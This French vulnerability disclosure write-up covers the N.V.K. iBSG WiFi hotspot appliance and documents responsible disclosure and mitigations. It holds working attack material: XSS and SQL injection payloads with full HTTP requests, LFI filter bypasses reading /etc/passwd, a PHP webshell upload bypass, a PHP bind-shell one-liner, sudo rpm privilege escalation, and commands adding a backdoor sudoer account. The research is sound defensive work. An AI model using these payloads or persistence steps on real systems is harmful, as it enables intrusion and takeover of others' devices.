Cet article explore de multiples vulnérabilités découvertes dans l’appliance WiFi iBSG (Intelligent Broadband Subscriber Gateway) de la société thaïlandaise N.V.K. INTER CO., LTD. Cette appliance est une solution de hotspot WiFi pour les fournisseurs d’accès, bureaux, hôtels, cafés/restaurants et appartements/condominiums.
Remarque : Dans le cas où vous souhaiteriez suggérer une amélioration ou simplement me contacter, vous pouvez le faire à contact@lionsec.lu.
Contexte
Durant un long séjour en Thaïlande, je me trouvai dans un hôtel, et comme je ne déconnecte jamais, le hotspot WiFi de l’hôtel n’avait pas échappé à mon attention. Il attira ma curiosité grâce à son nom d’éditeur et son numéro de version : N.V.K iBSG v3.5.32r1beta. La version 3.5 est connue pour être impactée par la CVE-2023-39808 qui permet à un acteur malveillant d’obtenir le hash du mot de passe root.
Comme j’avais un peu de temps devant moi, l’aventure me tenta car je me demandais s’il y en avait d’autres, et cela faisait longtemps que je m’étais amusé à chasser.
Divulgation responsable
Avant d’aller plus loin, il est important de rappeler que divulguer des vulnérabilités (potentiellement des 0days) doit se faire de manière éthique à l’éditeur afin de lui permettre de corriger ces faiblesses dans un délai raisonnable.
- 30/12/2023 - Premier contact avec l’éditeur, demandant un point de contact approprié
- 31/12/2023 - Réponse et confirmation de l’éditeur d’un point de contact
- 31/12/2023 - Résumé court des vulnérabilités trouvées et demande de confirmation de pouvoir transmettre le rapport
- 31/12/2023 - Après confirmation de l’éditeur, envoi du rapport via un canal sécurisé
- 31/12/2023 - L’éditeur confirme la lecture du rapport ainsi que la validité des vulnérabilités
Remarque : L’éditeur avait indiqué une charge de travail importante, puis un plan pour y remédier dans une version ultérieure. Depuis la divulgation exclusive à l’éditeur, presque 3 années se sont écoulées, et la version majeure de la solution a évolué. Ce rapport va néanmoins masquer certains détails qui pourraient permettre une exploitation facile de ces vulnérabilités.
Récupération du logiciel de l’appliance
En allant sur le site officiel de N.V.K, je m’aperçois que l’appliance est disponible via https://ibsg.nvk.co.th/download/, en revanche, un message d’erreur 403 - Forbidden m’est renvoyé immédiatement. J’ignorais pourquoi, mais je me doutais que cette page restreignait l’accès seulement aux clients de N.V.K. identifiés, le grand public n’ayant pas besoin d’y accéder.
Hmm, mais où pourrais-je trouver l’image de l’appliance ?!
J’ai donc tenté ma chance via la WaybackMachine et trouvé un snapshot datant du 17 juillet 2019 évoquant une redirection vers une autre page de téléchargement :
Je tombe donc sur un listing de fichiers avec le nom suivant : IBSGLITE_V3.5_32r1B_[B0850894]_U_C69.ISO. datant de novembre de la même année. À ce stade, je ne comprenais pas le lien entre N.V.K et DDNSThailand, mais cela ne m’empêcha pas de continuer.
Après avoir récupéré le fichier ISO, j’ai donc pu déployer l’image avec VirtualBox. Une fois l’écran de login / password affiché (que je ne connaissais évidemment pas), un coup de Nmap dévoila plusieurs ports, y compris celui de l’interface web de management qui était désormais disponible sur http://192.168.2.254/manage/ avec les identifiants par défaut admin:admin123. Les autres ports (TCP/UDP) étaient limités et ne présentaient rien d’intéressant à première vue.
C’est parti !
Revue de l’interface web de management
XSS Reflétée #1
La première vulnérabilité XSS permettait l’injection de code malveillant sur la page de login au point d’entrée suivant :
/user/index.php?[MASQUÉ]="><script>alert('XSS 1');</script>
Requête :
GET /user/index.php?[MASQUÉ]=%22%3E%3Cscript%3Ealert(%27XSS%201%27);%3C/script%3E HTTP/1.1
Host: 192.168.2.254
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close
Réponse :
HTTP/1.1 200 OK
Date: Sun, 31 Dec 2023 00:45:48 GMT
Server: Apache
X-Powered-By: PHP/5.3.3
Set-Cookie: unique_u=f576rrf3dvc11tclot4tvtjjp7; expires=Sun, 07-Jan-2024 00:45:48 GMT; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 2432
Connection: close
Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<!--
Copyright (C) 2013
No part of this file may be used without permission.
-->
<head>
[…TRONQUÉ…]
});
//-->
</script>
</head>
<body>
<div id="wrapper">
<div id="content">
<h1><img src="../shared/images/icon/user.gif" alt="icon" width="22" height="22" /> User zone. </h1>
<hr />
<form name="reqAuth" id="reqAuth" method="post">
<input name="referer" id="referer" type="hidden" value=""><script>alert('XSS 1');</script>" />
<table class="fieldtable" align="center" width="0" border="0" cellspacing="0" cellpadding="3">
<tr>
<td class="spacer">Loginname</td>
<td><input class="txtfield" name="txtLogin" id="txtLogin" type="text" maxlength="24" /></td>
[…TRONQUÉ…]
</div>
</body>
</html>
XSS Reflétée #2
Une autre XSS reflétée permettait également l’injection de code malveillant au point d’entrée suivant en utilisant la valeur du cookie [MASQUÉ] :
/portal/user-authen.php
Requête :
GET /portal/user-authen.php?reqUrl=http://www.google.co.th HTTP/1.1
Host: 192.168.2.254
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.2.254/portal/user-authen.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: [MASQUÉ]=[MASQUÉ]"><script>alert('XSS 2')</script>; [MASQUÉ]
Connection: close
Réponse :
HTTP/1.1 200 OK
Date: Sun, 31 Dec 2023 00:54:09 GMT
Server: Apache
X-Powered-By: PHP/5.3.3
Cache-Control: no-cache
Content-Length: 3316
Connection: close
Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<!--Copyright (C) 2013
No part of this file may be used without permission.
-->
<head>
[…TRONQUÉ…]
<h1>Please login</h1>
<hr />
<form method="post" enctype="application/x-www-form-urlencoded" action="http://192.168.2.254/portal/user-authen.php">
<table class="fieldTable" width="0" border="0" cellspacing="0" cellpadding="3">
<tr>
<td class="spacer">Loginname</td>
<td><input name="txtLogin" type="text" id="txtLogin" maxlength="24" value="admin"><script>alert('XSS 2')</script>" /></td>
</tr>
<tr>
<td>Password</td>
<td><input name="txtPasswd" type="password" id="txtPasswd" maxlength="24" value="test" /></td>
</tr>
[…TRONQUÉ…]
</div>
</body>
</html>
Injection SQL #1
Cette première Injection SQL est error-based et a permis de révéler le SGBD utilisé par l’appliance : MySQL version 5.1.73. Le point d’injection se trouvait dans la section de gestion des politiques existantes via le paramètre [MASQUÉ] en utilisant la payload suivante :
2+and+(select+1+and+row(1,1)>(select+count(*),concat(CONCAT(%40%40VERSION),0x3a,floor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))
Requête :
POST /manage/manage-policy.php HTTP/1.1
Host: 192.168.2.254
Content-Length: 178
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/117.0.5938.132 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://192.168.2.254
Referer: http://192.168.2.254/manage/manage-policy.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: unique_u=qvh8j80np1aels1qmnr69cvbk7; unique_a=tf189rthj4tf3jtg82go71pkt6
Connection: close
[MASQUÉ]=2+and+(select+1+and+row(1,1)>(select+count(*),concat(CONCAT(%40%40VERSION
),0x3a,floor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))&[MASQUÉ]
Réponse :
HTTP/1.1 200 OK
Date: Sun, 31 Dec 2023 01:07:04 GMT
Server: Apache
X-Powered-By: PHP/5.3.3
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 77
Connection: close
Content-Type: text/x-json; charset=UTF-8
{"error":"Sql error : Duplicate entry '5.1.73:0' for key 'group_key' (1062)"}
Cette Injection SQL retourne un résultat ayant une longueur limitée en sortie, rendant l’extraction d’informations plus difficile, j’ai donc décidé d’explorer d’autres alternatives pouvant offrir plus de flexibilité.
Injection SQL #2
La deuxième injection, également error-based, permet plus de longueur et utilise le point d’entrée permettant de remettre à zéro l’identité d’un utilisateur. Il était donc possible de déterminer que l’utilisateur actuel de la base de données était root@localhost ainsi qu’une sortie tronquée du mot de passe hashé de l’utilisateur root actuel avec la payload suivante :
2+AND+extractvalue(rand(),concat(CHAR(126),(SELECT+Password+FROM+mysql.user+WHERE+User%3d'root'+LIMIT+1),CHAR(126)))
Requête :
POST /manage/manage-identity.php HTTP/1.1
Host: 192.168.2.254
Content-Length: 165
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/117.0.5938.132 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://192.168.2.254
Referer: http://192.168.2.254/manage/manage-identity.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: unique_u=qvh8j80np1aels1qmnr69cvbk7; unique_a=s899bj7a7bjbvi4o895l4tb6i1
Connection: close
[MASQUÉ]=2+AND+extractvalue(rand(),concat(CHAR(126),(SELECT+Password+FROM+mysql.us
er+WHERE+User%3d'root'+LIMIT+1),CHAR(126)))&[MASQUÉ]
Réponse :
HTTP/1.1 200 OK
Date: Sun, 31 Dec 2023 01:14:07 GMT
Server: Apache
X-Powered-By: PHP/5.3.3
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 85
Connection: close
Content-Type: text/x-json; charset=UTF-8
{"error":"Sql error : XPATH syntax error: '~*4E668C55[MASQUÉ]' (1105)"}
Étant limité en sortie, je décidai donc de créer mon propre script Python pour exploiter cette Injection SQL en mode blind time-based et obtenir le hash entier.
Le hash final trouvé était : ~*4E668C55[MASQUÉ].
Une recherche rapide du hash sur https://hashes.com/en/decrypt/hash a révélé que le mot de passe en clair était [MASQUÉ].
Remarque : Plus tard durant l’exploitation, l’utilisation de ces identifiants root de la base de données MySQL ne dévoilera pas d’autres informations intéressantes.
Injection SQL #3
La troisième injection a été découverte après que le code source de l’appliance a été complètement désobfusqué comme démontré plus bas dans ce write-up. La fonction d’enregistrement d’un utilisateur dans le système était le point d’entrée, et une payload de type blind time-based a permis de le vérifier. Cette payload faisait dormir le serveur pendant 5 secondes lorsque la requête aboutissait, la même attaque que la deuxième précédemment évoquée est donc possible.
Payload de validation :
user123'+AND+SLEEP(5)+AND+'1
Requête :
POST /portal/user-register.php HTTP/1.1
Host: 192.168.2.254
Content-Length: 186
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/117.0.5938.132 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://192.168.2.254
Referer: http://192.168.2.254/portal/portal-view.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close
[MASQUÉ]=user123'+AND+SLEEP(5)+AND+'1
Réponse :
HTTP/1.1 200 OK
Date: Sun, 31 Dec 2023 01:34:42 GMT
Server: Apache
X-Powered-By: PHP/5.3.3
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 69
Connection: close
Content-Type: text/x-json; charset=UTF-8
{"error":"Invalid registration request!","object":false,"fatal":true}
Extrait de la payload SQL utilisée dans le script Python (boucle sur chaque position du mot de passe en testant tous les caractères possibles) :
2 and (SELECT if(substring((SELECT Password FROM mysql.user WHERE User="root" LIMIT 1),' + str(x) + ',1)="' + char + '",sleep(2),"false"))
En fouillant un peu plus, aucune des injections SQL ne m’avait permis de prendre le contrôle de l’appliance car toutes les permissions de l’utilisateur root étaient définies à FALSE, pas de chance !
Inclusion de fichier local #1 avec contournement de filtres
Il était également possible d’inclure presque n’importe quel fichier de l’appliance (tant que le processus du serveur web en avait les privilèges) grâce à un contournement de filtre sur une inclusion via un point d’entrée de la section de gestion des logs.
Comme une payload LFI telle que ../../ était bloquée par l’application, et que le chemin exigeait la présence de la chaîne de caractères /var/log/, un contournement a été trouvé pour déjouer la protection :
/var/log/....//....//....//etc/passwd
Ce contournement était ensuite vérifiable plus tard une fois le code source de l’appliance désobfusqué :
Le filtre ne vérifiait que la présence de ../../ et le supprimait de manière non-récursive.
Requête :
POST /manage/status-log.php HTTP/1.1
Host: 192.168.2.254
Content-Length: 58
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://192.168.2.254
Referer: http://192.168.2.254/manage/status-log.phpAccept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: unique_u=qvh8j80np1aels1qmnr69cvbk7; unique_a=jtp4nu3k93cbiudtmc6ffpdbc4
Connection: close
[MASQUÉ]&[MASQUÉ]=/var/log/....//....//....//etc/passwd
Réponse :
HTTP/1.1 200 OK
Date: Sun, 31 Dec 2023 02:25:44 GMT
Server: Apache
X-Powered-By: PHP/5.3.3
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 1327
Connection: close
Content-Type: text/html
<textarea name="logData" id="logData" cols="96" rows="20" readonly="readonly" wrap="off">
tcpdump:x:72:72::/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
saslauth:x:499:76:Saslauthd user:/var/empty/saslauth:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
squid:x:23:23::/var/spool/squid:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
halt:x:7:0:halt:/sbin:/sbin/halt
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
sync:x:5:0:sync:/sbin:/bin/sync
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
bin:x:1:1:bin:/bin:/sbin/nologin
root:x:0:0:root:/root:/bin/bash
Inclusion de fichier local #2 avec contournement de filtres
Un comportement similaire a été trouvé via un autre point d’entrée de la section de gestion des logs.
Requête :
GET /manage/status-log.php?[MASQUÉ]&[MASQUÉ]=/var/log/....//....//....//etc/passwd HTTP/1.1
Host: 192.168.2.254
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: unique_u=qvh8j80np1aels1qmnr69cvbk7; unique_a=s7p64ai3tapgl5nmpa6p67ccs6
Connection: close
Réponse :
HTTP/1.1 200 OK
Date: Sun, 31 Dec 2023 02:33:37 GMT
Server: Apache
X-Powered-By: PHP/5.3.3
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-disposition: attachment; filename=passwd
Content-Length: 1200
Connection: close
Content-Type: application/x-download
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
squid:x:23:23::/var/spool/squid:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
ntp:x:38:38::/etc/ntp:/sbin/nologin
saslauth:x:499:76:Saslauthd user:/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
Arrivé à ce stade, de nombreuses tentatives de récupérer des mots de passe, secrets ou clefs depuis différents fichiers pouvant potentiellement en contenir étaient vaines. De plus, j’ai pu constater que la majorité des fichiers PHP semblaient chiffrés / obfusqués. Il fallait que je creuse encore plus en tentant d’autres types de vulnérabilités.
Accès à l’appliance
Dans cette section, nous allons pouvoir accéder à l’appliance directement grâce à une exécution de code à distance.
Exécution de code à distance (RCE)
L’accès au système de fichiers de l’appliance a été rendu possible par une exécution de code à distance découverte dans la fonctionnalité d’impression de cartes (pour générer des coupons prépayés, par exemple), qui permettait d’uploader la backdoor PHP minimaliste suivante :
<?php
if( isset($_GET['cmd']) && $_GET['cmd'] !== null) {
system($_GET['cmd']);
}
?>
Uploader un fichier .php est interdit à cause de filtres en place, en revanche, intercepter la requête en modifiant l’extension du fichier avant qu’il soit envoyé au serveur a permis de contourner ces restrictions. Comme démontré ci-dessous, l’extension a été changée de .php à .php.jpg :
Requête :
POST /manage/[MASQUÉ] HTTP/1.1
Host: 192.168.2.254
Content-Length: 761
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.2.254
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0AdsWbUvQ0bD6TMz
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://192.168.2.254/manage/[MASQUÉ]
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: unique_u=qvh8j80np1aels1qmnr69cvbk7; unique_a=4vcbkud58ppk9oa7kv2jav1id5
Connection: close
------WebKitFormBoundary0AdsWbUvQ0bD6TMz
Content-Disposition: form-data; name="[MASQUÉ]"; filename="back2.php.jpg"
Content-Type: application/octet-stream
<?php
if( isset($_GET['cmd']) && $_GET['cmd'] !== null) {
system($_GET['cmd']);
}
?>
------WebKitFormBoundary0AdsWbUvQ0bD6TMz
Content-Disposition: form-data; name="[MASQUÉ]"; [MASQUÉ]=""
Content-Type: application/octet-stream
------WebKitFormBoundary0AdsWbUvQ0bD6TMz
Content-Disposition: form-data; name="[MASQUÉ]"
[MASQUÉ]
------WebKitFormBoundary0AdsWbUvQ0bD6TMz
Content-Disposition: form-data; name="[MASQUÉ]"
[MASQUÉ]
------WebKitFormBoundary0AdsWbUvQ0bD6TMz
Content-Disposition: form-data; name="[MASQUÉ]"
[MASQUÉ]
------WebKitFormBoundary0AdsWbUvQ0bD6TMz--
Ensuite, il suffisait de cliquer sur [MASQUÉ] pour déclencher la requête suivante :
Requête :
POST /manage/system-printing.php HTTP/1.1
Host: 192.168.2.254
Content-Length: 386
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Origin: http://192.168.2.254
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.2.254/manage/system-printing.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: unique_u=qvh8j80np1aels1qmnr69cvbk7; unique_a=9r37tu3tpsmjq3n7sdi4epneg1
Connection: close
[MASQUÉ]
La réponse du serveur retourne une erreur de la bibliothèque FPDF (qui plus est, obsolète), ce qui n’indiqua pas dans un premier temps que la tentative fut un succès :
Réponse :
HTTP/1.1 200 OK
Date: Sun, 31 Dec 2023 02:43:54 GMT
Server: Apache
X-Powered-By: PHP/5.3.3
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 101
Connection: close
Content-Type: text/html
<b>FPDF error:</b> Missing or incorrect image file:
/home/ibsg/webui/[MASQUÉ]/back2.php.jpg
En revanche, non seulement le chemin complet du dossier d’upload était dévoilé, mais l’envoi de la backdoor avait quand même fonctionné, ce qui se vérifia par l’accès à l’URL suivante : http://192.168.2.254/[MASQUÉ]/back2.php.jpg?cmd=id
Remarque : Dans ce cas, le fichier récupéré ayant l’extension .jpg aurait dû être rendu comme une image, en revanche, le serveur Apache l’avait interprété en fonction de son contenu !
Accès initial via bind shell
Comme souvent, la suite logique est d’obtenir un reverse shell (de l’appliance vers ma machine) à l’environnement distant pour une interaction plus simple. Cependant, cette option ne fonctionnait pas (probablement dû à des restrictions du pare-feu), j’ai donc dû opter pour un bind shell (de ma machine vers l’appliance) à la place.
La payload suivante a été utilisée :
http://192.168.2.254/[MASQUÉ]/back2.php.jpg?cmd=php%20-
r%20%27$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($s,%220.0.0.0%22,9002);s
ocket_listen($s,1);$cl=socket_accept($s);while(1){if(!socket_write($cl,%22$%20%22,2))exit;$in=sock
et_read($cl,100);$cmd=popen(%22$in%22,%22r%22);while(!feof($cmd)){$m=fgetc($cmd);socket_wr
ite($cl,$m,strlen($m));}}%27
Le site web se mit à boucler, il était en train d’écouter, comme attendu, pour une connexion sur le port 9002. Depuis mon hôte, j’ai donc saisi la commande suivante :
Cette situation confirma que j’étais connecté avec l’utilisateur apache. Malheureusement, il ne s’agissait pas de root donc il fallait passer à l’étape suivante : élever mes privilèges aussi haut que possible.
Élévation de privilèges
Une des nombreuses techniques d’élévation de privilèges sous Linux est d’utiliser la commande suivante :
sudo -l
Celle-ci permet de voir quelles commandes l’utilisateur peut utiliser avec sudo :
Fort heureusement, plusieurs options se présentaient à moi et, pour les connaisseurs, le site GTFOBins recense autant de techniques que possible pour ce genre de situation. Dans ce cas, je choisis la commande rpm pour exploiter cette technique :
Bingo, objectif atteint !
Persistance
Dès que l’accès root fut obtenu, il était préférable d’établir une des nombreuses techniques de persistance sous Linux : celle de simplement ajouter un utilisateur SSH (pour y revenir facilement et avoir un shell complètement interactif).
À ce stade, je n’arrivais pas à « déchiffrer » le code source et cela me laissait perplexe. Dans tous les cas, cet accès SSH en direct me rendrait la tâche plus facile.
Voici les commandes utilisées pour ajouter un nouvel utilisateur SSH :
Créer l’utilisateur :
sudo rpm --eval '%{lua:os.execute("useradd -p $(openssl passwd -1 david123) david2")}'
Ajouter aux administrateurs :
sudo rpm --eval '%{lua:os.execute("usermod -G wheel david2")}'
Ajouter aux sudoers et vérifier :
sudo rpm --eval '%{lua:os.execute("echo \"david2 ALL=(ALL) ALL\" >> /etc/sudoers")}'
sudo rpm --eval '%{lua:os.execute("cat /etc/sudoers")}'
Connexion à l’appliance via SSH :
ssh -oHostKeyAlgorithms=+ssh-dss david2@192.168.2.254
L’accès étant établi, il était temps de tenter de trouver des informations croustillantes.
Désobfuscation et récupération complète du code source
Suite à mes recherches, j’ai bien pu récupérer le hash du mot de passe root en utilisant une combinaison de /etc/passwd et /etc/shadow avec Unshadow (un utilitaire faisant partie du package de JohnTheRipper, l’un des crackers de mot de passe les plus connus). En revanche, après 10 milliards de tentatives, le mot de passe n’a pas pu être récupéré, signifiant qu’il devait être robuste.
J’ai ensuite décidé de récupérer tous les fichiers du code source dans /home/ibsg/ sur ma machine locale afin de tenter d’apporter une réponse à ce chiffrement/obfuscation appliqué à presque tous les fichiers .php. Après plus de recherche, j’ai découvert qu’il s’agissait d’obfuscation générée par la solution IonCube version 7 pour PHP 5.3 (la version installée sur l’appliance). Oui, beaucoup trop obsolète …
Remarque : J’avais d’abord trouvé un outil en ligne permettant de le faire pour une petite somme, en revanche, j’ai préféré ne pas le faire afin d’éviter une fuite de code source pour N.V.K.
J’ai donc trouvé un outil hors-ligne (testé d’abord sur une machine virtuelle à part, au cas où) à l’adresse suivante : https://ioncubedecoder2013.blogspot.com/2014/02/ioncube-decoder-v8-v7-v6-decode-php.html
L’archive contenait plusieurs scripts, dont celui que j’ai utilisé : IDezender8 (idzender.bat) pour décoder les fichiers.
Voici un exemple pour le fichier original/obfusqué /webui/manage/help-about.php :
Puis, sa version désobfusquée : /webui/manage/help-about.php :
En appliquant ce script au répertoire intégral du code, tous les fichiers ont donc pu être décodés, ce qui a mené à la découverte des vulnérabilités déjà mentionnées plus haut : Injection SQL #3 et Inclusion de fichier local #2 avec contournement de filtres.
Bonus : Contournement d’authentification via l’API
Réalisant qu’une API était aussi disponible, j’ai pu rapidement remarquer la faiblesse suivante (bien que non vérifiée, car mon temps était limité !) : un potentiel contournement d’authentification via l’API :
Avec PHP 5.3.3 (et d’autres versions), la vulnérabilité Loose Type Juggling permet de comparer n’importe quelle chaîne de caractères avec 0, ce qui retourne toujours TRUE lorsque l’opérateur de comparaison == est utilisé à la place de ===.
Comme vu ci-dessous, l’application va chercher le mot de passe utilisateur en base de données et le compare == avec le MD5 du mot de passe (qui est contrôlable par l’attaquant). Ensuite, pour que le paramètre soit interprété comme un nombre entier (et non comme une chaîne de caractères), il aurait sûrement été possible de passer 0 comme nombre entier au format JSON à l’API, ce qui aurait pu potentiellement permettre de créer une session admin et de compromettre l’appliance, ce coup-ci en mode preauth, sans avoir les identifiants admin par défaut (probablement changés, on l’espère, durant la mise en place des techniciens).
Encore une fois, cette faiblesse n’a pas été tentée car je manquais de temps, mais on peut soupçonner que cette technique aurait fonctionné.
Mitigation
Le tableau suivant fournit différentes directives à suivre pour sécuriser l’application et prévenir de futures faiblesses similaires à l’avenir.
| Vulnérabilité | Mitigation |
|---|---|
| Logiciel de l’appliance disponible publiquement | Là encore, je ne suis pas certain du lien entre NVK et DDNSThailand, mais il serait de bonne pratique de restreindre l’accès au logiciel lui-même (l’image ISO) aux seuls clients, si possible et en accord avec les besoins métier. |
| XSS | Les entrées utilisateur doivent être assainies avant d’être traitées. Un article intéressant est disponible ici : portswigger.net/web-security/cross-site-scripting. |
| Injection SQL | Les injections SQL peuvent toutes être évitées grâce aux requêtes préparées (Prepared Statements), comme indiqué également sur l’OWASP SQL Injection Prevention Cheat Sheet. J’ai remarqué l’utilisation de mysql_escape_string(), qui aide à prévenir les injections SQL, mais qui, dans certains cas précis, ne suffit pas. |
| Inclusion de fichier local (LFI) | Dans ce cas, la suppression des ../ n’était pas suffisante. Le filtrage devrait retirer toute occurrence de points et de barres obliques, voire bloquer la page. Une liste blanche des fichiers de log autorisés à l’inclusion est aussi envisageable. De plus, restreindre le chemin d’inclusion à l’emplacement des fichiers de log ne serait pas assez sûr, car d’autres fichiers de log pourraient contenir des informations sensibles ou être altérés pour inclure du code PHP et aboutir à une RCE. |
| Exécution de code à distance (RCE) | Dans ce cas, le serveur Apache devrait être configuré pour interpréter les fichiers selon leur extension et non leur contenu. Cela devrait être réalisable dans les fichiers httpd.conf ou .htaccess, selon les besoins de NVK. |
